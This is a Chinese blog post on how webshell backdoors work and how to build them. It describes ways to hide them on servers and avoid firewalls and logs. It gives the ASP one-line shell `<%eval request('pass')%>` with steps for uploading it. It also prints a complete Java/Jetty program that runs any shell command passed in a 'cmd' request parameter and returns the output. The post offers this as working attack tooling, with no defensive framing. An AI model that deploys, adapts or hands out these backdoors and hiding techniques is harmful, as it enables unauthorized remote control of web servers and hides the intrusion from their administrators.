atitit.木马病毒webshell的原理and设计 java c# .net php.

本文详细解析了WebShell后门的隐蔽性策略,包括隐藏文件和利用服务器漏洞的方法。同时,文章对WebShell进行了分类,讨论了PHP、ASP、.NET和JSP等不同类型的脚本木马,并介绍了WebShell的实现与隐藏技术。通过实例代码展示了如何创建和部署WebShell,以及获取WebShell的多种方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

atitit.木马病毒webshell的原理and设计 java c# .net php.

 

 

 

1. 隐蔽性

编辑

WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。

webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

 

作者:: 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙,  EMAIL:1466519819@qq.com

转载请注明来源: http://blog.youkuaiyun.com/attilax

 

2. webshell的分类

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置

 

3. Code---

package com.attilax.webshell;

 

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import javax.servlet.ServletException;

 

import java.io.IOException;

 

import org.eclipse.jetty.server.Server;

import org.eclipse.jetty.server.Request;

import org.eclipse.jetty.server.handler.AbstractHandler;

 

import com.attilax.cmd.CmdX;

import com.attilax.io.filex;

import com.lowagie.text.html.HtmlEncoder;

 

public class Webshell extends AbstractHandler

{

    public void handle(String target,

                       Request baseRequest,

                       HttpServletRequest request,

                       HttpServletResponse response) 

        throws IOException, ServletException

    {

    String cmd=request.getParameter("cmd");

    System.out.println("==cmd:"+cmd);

    String r=new CmdX().exe(cmd);

        response.setContentType("text/html;charset=utf-8");

        response.setStatus(HttpServletResponse.SC_OK);

        baseRequest.setHandled(true);

        response.getWriter().println("--rzt:<p>"+ HtmlEncoder.encode( r));

    }

 

    public static void main(String[] args) throws Exception

    {

    //org.slf4j.helpers.MessageFormatter

    start_websell();

        System.out.println("--f");

    }

 

    public static void start_websell() {

Server server = new Server(8080);

        server.setHandler(new Webshell());

  

        try {

server.start();

} catch (Exception e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

        System.out.println("--staered");

        try {

server.join();

} catch (InterruptedException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

4. Ref

atitit.跨架构 bs cs解决方案自定义web服务器的实现方案 java .net jetty  HttpListener

 

获取webshell的十种方法 - 51CTO.COM.htm

Webshell实现与隐藏探究_91Ri.org.htm

Webshell实现与隐藏探究_91Ri.org.htm

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值